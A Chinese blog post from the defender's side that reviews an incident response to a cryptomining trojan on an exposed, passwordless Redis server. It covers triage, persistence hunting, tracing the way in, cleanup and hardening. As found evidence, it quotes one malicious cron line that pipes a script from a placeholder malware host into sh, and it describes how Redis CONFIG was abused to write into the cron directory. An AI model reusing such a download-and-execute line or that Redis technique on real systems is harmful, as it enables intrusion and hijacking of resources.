服务器与 Linux 排查 列表全部文章
服务器与 Linux 排查

服务器 CPU 100%,罪魁是个名字很奇怪的进程:一次挖矿木马应急响应

top 里一个名字怪异的进程吃满 CPU,杀了又活。本文从防御视角复盘一次挖矿木马应急:定位进程、/proc/PID/exe、外连矿池、cron 与 authorized_keys 持久化、日志溯源,以及清理与加固清单。

更多

某天上午,运维群里有人说:“测试环境那台 Redis 机器,CPU 一直 100%,是不是又有人在跑压测?”没人认领。我看了一眼监控:CPU 曲线像被人拿尺子画的,一条笔直的 100% 横线,持续了三天,而且和业务流量毫无关系,半夜也一样高。

正常业务的 CPU 曲线有“呼吸感”,白天高、夜里低。一条不随时间起伏的满载直线,要么是死循环,要么是有人在拿你的机器“打工”。登上去一看,果然是后者。这篇是防御视角的应急响应记录,只讲怎么发现、怎么清理、怎么加固,不涉及任何入侵手法。

先说明立场:如果你的机器已经被入侵,最稳妥的做法是隔离后重装系统,重建凭据。下面的“清理”步骤是为了应急止血和溯源,不是“清理干净就万事大吉”。

一、现象:一个名字像猫踩键盘的进程

$ top -bn1 | head -10
top - 10:21:07 up 63 days,  4:12,  1 user,  load average: 4.05, 4.02, 4.00
%Cpu(s): 99.7 us,  0.3 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 2718 redis     20   0 2540212 1.9g   3040 S 397.0 12.3 5712:44 kdevtmpfsi
 1123 redis     20   0  161232  9360   4520 S   0.3  0.1   3:02.19 redis-server

几个疑点:

  • 进程名 kdevtmpfsi:长得很像内核线程(真实的内核线程叫 kdevtmpfs),是典型的“伪装成系统进程”的命名套路;这类挖矿木马常用与系统进程相似的名字,或者随机字符串名;
  • 运行用户是 redis,而不是 root——一个 Redis 进程的用户,去跑一个 CPU 400% 的东西,本身就不对;
  • TIME+ 累计 5712 分钟(约 95 小时),说明它已经跑了三四天,和监控曲线吻合;
  • 4 核 397%:满载,不留余地。

第一原则:先保留证据,再动手。很多人上来就 kill -9,然后发现它 5 分钟后又活了,还把痕迹弄丢了。先取证。

二、排查路线图

① 认出异常进程top / ps -ef --forest ② 取证:本体在哪ls -l /proc/PID/exe ③ 看外连ss -tnp 找矿池连接 ④ 找持久化cron / ssh key / systemd ⑤ 溯源入口last / lastb / secure / Redis ⑥ 隔离 + 清理先断外网,再清持久化 ⑦ 换凭据密码 / 密钥 / token 全换 ⑧ 加固收敛入口,重建更稳 注意:只 kill 进程不会解决问题——持久化还在,它会被重新拉起 有条件就隔离后重装;最少也要走完 ④⑤⑦,别只做 ⑥

三、动手:取证与排查

第 1 步:进程树,看它的“爹”是谁

$ ps -ef --forest | grep -B3 -A1 2718
root      1101     1  0 Sep26 ?   00:00:41 /usr/sbin/crond -n
redis     1123     1  0 Sep26 ?   00:03:02 /usr/local/bin/redis-server 0.0.0.0:6379
redis     2718     1 99 Sep26 ?   3-23:12:44 /tmp/kdevtmpfsi

$ ps -o pid,ppid,lstart,etime,user,cmd -p 2718
  PID  PPID                  STARTED     ELAPSED USER     CMD
 2718     1  Fri Sep 26 04:12:33 2026  3-06:08:33 redis    /tmp/kdevtmpfsi

--forest 用树状展示父子关系。这里 PPID 是 1(被 init/systemd 收养,说明它的父进程早退出了或它已守护化),启动时间是 9 月 26 日凌晨 4 点 12 分——这个时间点很重要,后面查日志要用。命令路径 /tmp/kdevtmpfsi:正经服务不会把可执行文件放在 /tmp。

第 2 步:/proc/PID/exe,别信进程名,信本体

$ ls -l /proc/2718/exe
lrwxrwxrwx 1 redis redis 0 Sep 29 10:25 /proc/2718/exe -> /tmp/kdevtmpfsi

$ ls -l /proc/2718/cwd
lrwxrwxrwx 1 redis redis 0 Sep 29 10:25 /proc/2718/cwd -> /tmp

$ cat /proc/2718/cmdline | tr '\0' ' '; echo
/tmp/kdevtmpfsi

$ sha256sum /proc/2718/exe      # 取哈希,留证据或到威胁情报平台查询
$ cp /proc/2718/exe /root/evidence/sample.bin   # 备份样本(仅用于分析,切勿执行)

proc 手册对 /proc/PID/exe 的说明:它是指向被执行命令实际路径的符号链接;如果磁盘上的原文件被删除了,链接目标会被追加 (deleted)。这正是很多木马的伎俩:启动后自己把二进制删掉,防止被发现。此时 ls -l /proc/PID/exe 会显示 ... (deleted),但内核仍持有着这个文件,你依然可以从 /proc/PID/exe 把它拷出来做分析(这个原理和本系列“df 说磁盘 100%,du 只用了一半”那篇里“被删文件仍被进程占用”是同一回事)。这次的样本还没被删,但值得记住这个套路。

第 3 步:看它连了谁

$ ss -tnp | grep 2718
ESTAB  0  0  10.0.1.15:51322  203.0.113.45:443   users:(("kdevtmpfsi",pid=2718,fd=5))
ESTAB  0  0  10.0.1.15:51398  203.0.113.45:443   users:(("kdevtmpfsi",pid=2718,fd=7))

# 没有 ss 时
$ netstat -antp | grep 2718
$ lsof -p 2718 -i

一个 redis 用户下的 /tmp 进程,长期和一个陌生公网地址(示例地址 203.0.113.45,文档保留网段)的 443 端口保持连接——这是挖矿程序连接矿池的典型特征:矿池常用 3333/443/5555/14444 之类端口,很多程序会用 443 加 TLS 来伪装成普通 HTTPS。持续的、长时间的、小流量的外连,加上满载 CPU,基本可以定性。不要去访问该地址,只需记录,交给安全团队或直接在出口/安全组层面封禁。

第 4 步:找“它为什么会复活”——持久化排查

这是应急里最重要的一环。你 kill 掉进程它又活了,是因为有“拉起者”。按常见位置逐个查:

# 1) 定时任务:当前用户、redis 用户、root,以及系统级目录
$ crontab -l
$ sudo crontab -l -u redis
$ sudo ls -la /var/spool/cron/ /var/spool/cron/crontabs/ 2>/dev/null
$ ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
$ cat /etc/crontab

# 2) 最近被修改过的、可疑的文件(近 7 天,排除 /proc /sys)
$ sudo find /etc /var/spool /root /home /tmp /var/tmp -xdev -type f -mtime -7 2>/dev/null | head -50

# 3) SSH 公钥:陌生的 authorized_keys 是后门
$ ls -la /root/.ssh/ /home/*/.ssh/ 2>/dev/null
$ cat /root/.ssh/authorized_keys

# 4) systemd 服务与定时器
$ systemctl list-units --type=service --state=running | head -30
$ systemctl list-unit-files --state=enabled | head -40
$ systemctl list-timers --all
$ ls -lt /etc/systemd/system | head

# 5) 开机启动与 shell 启动脚本
$ cat /etc/rc.local; ls -la /etc/init.d
$ tail -5 /root/.bashrc /root/.bash_profile /etc/profile

这次的发现(示例):

$ sudo cat /var/spool/cron/redis        # 或 /etc/cron.d/ 下的陌生文件
*/5 * * * * curl -fsSL http://malware.demo.example.com/x.sh | sh

$ ls -la /tmp
-rwxr-xr-x 1 redis redis 3128884 Sep 26 04:12 kdevtmpfsi
-rwxr-xr-x 1 redis redis     412 Sep 26 04:12 x.sh

每 5 分钟从一个陌生域名下载脚本并直接交给 sh 执行:这就是“拉起者”。它每 5 分钟检查一次矿工是否存活,不存在就重新下载运行。你只杀进程,它 5 分钟内必复活;你只删文件,它下一个 5 分钟又下载回来。正确的顺序是先删除拉起者(cron),再杀进程,再删文件,最后还要查是否有第二层持久化(authorized_keys、systemd 服务)。

说明一下:出现在 redis 用户的 crontab 里,并不是巧合,这暗示入口很可能是那个 Redis 服务本身,下面第 5 步来验证。

第 5 步:溯源,它是怎么进来的

入口通常就三四个(下面是你要去核查的暴露面,不是入侵教程):

常见暴露面如何自查
Redis 对公网开放且无密码ss -lntp | grep 6379 看监听是不是 0.0.0.0;redis-cli -h 127.0.0.1 config get requirepass 看是否空;config get dir / config get dbfilename 看是否被改成了 cron 之类的目录/文件名
SSH 弱口令 / 允许 root 密码登录last、lastb、/var/log/secure(Debian 系为 /var/log/auth.log)
Docker API(2375)无 TLS 暴露ss -lntp | grep 2375;ps -ef | grep dockerd 里有没有 -H tcp://0.0.0.0:2375
其他未打补丁的 Web 应用/中间件应用、Nginx 访问日志里的异常请求,与文件创建时间对齐
$ last -n 15                     # 成功登录记录
$ sudo lastb | head -20          # 失败登录记录(需要 root),大量失败 = 被爆破
$ sudo grep -E 'Failed password|Accepted' /var/log/secure | tail -30
$ sudo grep 'Accepted' /var/log/secure | awk '{print $9, $11}' | sort | uniq -c | sort -rn | head

$ ss -lntp | grep -E '6379|2375|22'
LISTEN 0 511 0.0.0.0:6379  0.0.0.0:*  users:(("redis-server",pid=1123,fd=6))

$ redis-cli config get requirepass
1) "requirepass"
2) ""
$ redis-cli config get dir
1) "dir"
2) "/var/spool/cron"

这次的证据链闭合了:Redis 监听在 0.0.0.0:6379、没有密码,且 dir 被改成了 cron 目录;被落盘的 cron 文件,创建时间正是 9 月 26 日 04:12。Redis 官方安全文档里就直接警告过:Redis 是为“受信环境里的受信客户端”设计的,不应暴露到公网;且因为 CONFIG 命令可以改变工作目录和 dump 文件名,允许客户端把 RDB 文件写到任意路径,这可能导致系统被攻陷。Hunt.io 对一次涉及三千多台 Redis 服务器的挖矿僵尸网络的分析也印证:这类活动没有用什么新漏洞,就是扫描公网上无认证的 Redis,然后靠持久化去拉取挖矿程序,只重启 Redis 或杀掉可见的挖矿进程,如果恶意 cron 文件还在,入侵并没有被清除。

四、清理与止血(应急,不是终点)

  1. 隔离:先在安全组/防火墙上封掉该机器的出站到矿池 IP,并限制入站,只留你的运维出口 IP;有条件直接把机器从业务网络摘出来;
  2. 保全证据:进程列表、网络连接、样本文件、日志,打包备份(tar czf 到另一台机器);
  3. 先清拉起者,再清进程:
    $ sudo crontab -r -u redis                 # 删掉被篡改的 crontab(确认里面没有你的正常任务再删)
    $ sudo rm -f /etc/cron.d/<可疑文件>
    $ sudo kill -9 2718
    $ sudo rm -f /tmp/kdevtmpfsi /tmp/x.sh
    $ sudo sed -i '/可疑公钥的注释或指纹/d' /root/.ssh/authorized_keys   # 逐条核对,别整文件乱删
    $ sudo systemctl disable --now <可疑服务>.service && sudo rm /etc/systemd/system/<可疑服务>.service
  4. 确认 CPU 回落、无外连:top、ss -tnp,观察至少一个 cron 周期(5~10 分钟)确认不再被拉起;
  5. 换所有凭据:这台机器上出现过的密码、SSH 密钥、应用配置里的数据库密码、云 AK/SK、Redis 里可能存放的 token,一律视为已泄漏,全部轮换;
  6. 评估是否重装:木马可能已经替换了系统命令、加载了内核模块或留了我们没查到的后门。对生产机器,我的建议是重装系统,从干净镜像重建。测试机也别侥幸。

五、加固:把门关上

# === Redis(redis.conf)===
bind 10.0.1.15 127.0.0.1        # 只绑内网地址,不要 0.0.0.0
protected-mode yes              # 官方默认;无密码且绑所有网卡时只允许回环访问
requirepass "请使用足够长的随机密码"   # 或者用 ACL 建立最小权限用户(Redis 6+)
# 禁用或改名危险命令(官方标注该方式已弃用,推荐用 ACL 限制命令)
rename-command CONFIG ""
# 且:Redis 用低权限用户运行,不要 root;安全组只放行应用服务器

# === SSH(/etc/ssh/sshd_config)===
PermitRootLogin no
PasswordAuthentication no        # 只允许密钥登录(先确认你的公钥已放好,别把自己锁外面)
# Port 22 改端口只能减少扫描噪音,不是真正的安全措施
$ sudo systemctl reload sshd

# === fail2ban:自动封禁爆破 IP ===
$ sudo yum install -y fail2ban    # 或 apt install fail2ban
# /etc/fail2ban/jail.local
[sshd]
enabled  = true
maxretry = 5
findtime = 10m
bantime  = 1h

# === Docker ===
# 不要把 dockerd 的 TCP 端口 2375 无 TLS 暴露;需要远程访问时用 SSH 隧道,或配置 TLS 双向认证(2376)

Docker 官方文档说得很直白:暴露 Docker 守护进程而不加保护,等于任何拿到访问权的人都可以向它下达任意指令,相当于拿到宿主机的 root;推荐用 SSH 或 TLS 双向认证来保护远程访问。

网络层面的原则是“默认拒绝,按需放行”:云上安全组只开必要端口(80/443),数据库、缓存、消息队列这些“内部组件”一律不给公网入站;管理端口(SSH)只对堡垒机或办公出口 IP 开放。监控上,给“CPU 长时间满载且与流量无关”“出站连接到陌生 IP”“/tmp 下有可执行文件在运行”加上告警,早发现一天,损失少一天。

六、复盘

做法为什么
CPU 满载且曲线是平直线、与流量无关,先怀疑“外人在用你的机器”正常业务的负载有峰谷,恒定满载多是死循环或木马
看 ls -l /proc/PID/exe 与 cwd,不信进程名进程名可以伪装,本体路径和 (deleted) 标记更可靠
先清持久化(cron/ssh key/systemd),再杀进程否则拉起者会在几分钟内让它复活
ss -tnp 看外连,安全组封禁出站断掉矿池连接,就没有“收益”,也减少继续被利用
last / lastb / secure 与文件创建时间对齐用时间线还原入口,找到才能堵住
Redis:绑内网 + 密码 + 低权限用户 + 安全组;SSH:密钥登录 + fail2ban把常见入口一次性收窄,纵深防御
凭据全部轮换,生产机重装无法证明“清理干净”时,重建才是最省事的安全

一句话备忘:CPU 恒定满载 + 怪名进程 → ps --forest / /proc/PID/exe 取证 → ss 看外连 → cron、authorized_keys、systemd 找拉起者 → 先断网、清持久化、再杀进程 → 换凭据、封入口,能重装就重装。

这次事故的“学费”是一台测试机的电费加一晚上的睡眠。最后我把这台机器的安全组从“0.0.0.0/0 全放行”改成了“只放行我自己”,同时给每台机器贴了个便签:“凡是能被公网看见的端口,都在等一个善意的运维,或者不那么善意的扫描器。”

参考资料

— 感谢读到这里 —发现错误,或想补充?告诉我 →
TURN KNOWLEDGE INTO SOMETHING REAL

有想法,也想把它做出来?

从技术方案到上线交付,聊聊你的下一个项目。

聊聊需求

一起聊聊

搜索文章

输入关键词,按标题和摘要即时筛选。

浏览分类文章归档

阅读设置

字号
行宽
专注模式

专注模式会隐藏页头与侧栏,只留正文。设置保存在当前浏览器。

稍后阅读

保存在当前浏览器,留给下一次安静阅读。

总浏览 -- 次 · 总访客 -- 人 · 今日浏览 -- 次 · 今日访客 -- 人